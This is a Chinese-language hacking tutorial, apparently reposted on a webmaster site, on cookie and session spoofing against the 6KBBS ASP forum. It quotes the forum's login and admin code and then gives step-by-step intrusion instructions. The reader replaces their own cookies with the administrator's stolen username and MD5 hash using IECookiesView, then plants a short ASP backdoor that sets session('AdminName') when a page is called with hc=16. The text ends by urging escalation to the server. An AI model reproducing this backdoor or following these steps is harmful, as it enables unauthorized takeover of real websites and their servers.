我們先來說下基礎(chǔ)知識,免的一些菜鳥看不懂,有借鑒.
cookies欺騙,就是在只對用戶做cookies驗證的系統(tǒng)中,通過修改cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄。 那么什么是cookies呢,我這里給大家一個專業(yè)的解釋,cookies是一個儲存于瀏覽器目錄中的文本文件,記錄你訪問一個特定站點的信息,且只能被創(chuàng)建這個cookies的站點讀回,約由255個字符組成,僅占4kb硬盤空間。當(dāng)用戶正在瀏覽某站點時,它儲存于用戶機(jī)的隨機(jī)存取存儲器ram中,退出瀏覽器后,它儲存于用戶的硬盤中。儲存在cookies中的大部分信息是普通的,如當(dāng)你瀏覽一個站點時,此文件記錄了每一次的擊鍵信息和被訪站點的地址等。但是許多web站點使用cookies來儲存針對私人的數(shù)據(jù),如:注冊口令、用戶名、信用卡編號等。 什么是Session?當(dāng)一個訪問者來到你的網(wǎng)站的時候一個Session就開始了,當(dāng)他離開的時候Session就結(jié)束了。本質(zhì)是來說,cookie是和瀏覽器有關(guān)系,而Session變量就可以存一些資源變量在服務(wù)器上面。 正題: 我們先里看個實例,在6KBBS的login.asp找到113—124行,得到以下代碼: if [url=javascript:][color=#949494]Copy code[/color][/url] login=false then tl=" 登 陸 失 敗" mes=mes&" ·返回重新填寫" else response.cookies(prefix)("lgname") =lgname session(prefix"lgname")= lgname response.cookies(prefix)("lgpwd")= lgpwd response.cookies(prefix)("lgtype")= lgtype response.cookies(prefix)("lgcook")= cook if cook>0 then response.cookies(prefix).expires= date cook end if 我們來分析下,如果你登錄失敗了他就顯示你登錄失敗并引導(dǎo)你返回上一頁,否則就給你寫進(jìn)cookies里面,如果你的cookies有的話那么你的過期時間就是你cookies的過期時間——也就是你保存cookies的時間了。 這時,我們想到的是如果里面的信息是admin的,那一不就成了以管理員登陸了嗎? 首先,我們先去注冊一個用戶,然后登錄,有個cookies保存的選項,一定要選哦。我選擇是保存一個月,因為保存了才會再你本機(jī)上寫進(jìn)它的cookies。接著,打開數(shù)據(jù)庫,看admin表里面有什么東西,別的不管,你只要那個bd為16的那個人就行了。有可能沒有,你可以到他們論壇去逛一下,看管理員是誰,然后在數(shù)據(jù)庫里面拿他的賬號和加密的密碼來欺騙。 打開iecookiesview,這款軟件是拿來察看和修改本機(jī)的cookies的,很方便我們的cookies欺騙入侵。 在iecookiesview 里找到你要欺騙的那個網(wǎng)站,看到了嗎?有你的用戶名和md5加密的密碼,我們吧這兩項改為管理員的,就是把剛才數(shù)據(jù)庫里面的管理員賬號和md5加密的密碼代替你自己的。點擊“更改cookies”,打開一個新的ie,然后再去訪問那個論壇,看到?jīng)]有?你現(xiàn)在已經(jīng)是管理員了。 接著,麻煩的事出現(xiàn)了,后臺登陸并不是以cookies來實現(xiàn)的,而是以session實現(xiàn)的 ,所以我們同樣來欺騙session; 首先簡單說一下一般asp系統(tǒng)的身份驗證原理。 一般來說,后臺管理員在登錄頁面輸入賬號密碼后,程序會拿著他提交的用戶名密碼去數(shù)據(jù)庫的管理員表里面找,如果有這個人的賬號密碼就認(rèn)為你是管理員,然后給你一個表示你身份的session值。或者程序先把你的用戶名密碼提取出來,然后到數(shù)據(jù)庫的管理員表里面取出管理員的賬號密碼來和你提交的相比較,如果相等,就跟上面一樣給你個表示你身份的sesion值。然后你進(jìn)入任何一個管理頁面它都要首先驗證你的session值,如果是管理員就讓你通過,不是的話就引導(dǎo)你回到登錄頁面。 找到manage/admin.asp,發(fā)現(xiàn)驗證內(nèi)容為: [url=javascript:][color=#949494]Copy code[/color][/url] ... else rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") rs("LastLoginTime")=now() rs("LoginTimes")=rs("LoginTimes") 1 rs.update session.Timeout=SessionTimeout session("AdminName")=rs("username") rs.close set rs=nothing call CloseConn() Response.Redirect "Admin_Index.asp" 很容易就知道如果沒有獲得驗證就會出現(xiàn)兩個session值: [url=javascript:][color=#949494]Copy code[/color][/url] session.Timeout=SessionTimeout session("AdminName")=rs("username") 試想如果我們以adminName的信息登陸就就ok了..接著用ASP木馬編輯器來添加代碼如下: [url=javascript:][color=#949494]Copy code[/color][/url] dim id id=trim(request("hc")) if id="16" then session("AdminName")="admin" end if 分析上段代碼,有個不定值--admin,可以根據(jù)實際情況來設(shè)置,不一定是admin;可以在一些不常去的頁面來登陸,如:FriendSite.asp?hc=16返回時頁面沒有出現(xiàn)異樣,這就行了,然后再次登陸manage/admin.asp,你會發(fā)現(xiàn),你已經(jīng)進(jìn)入后臺了。然后可以提權(quán)得弄服務(wù)器了。 |
免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨!
掃一掃,關(guān)注站長網(wǎng)微信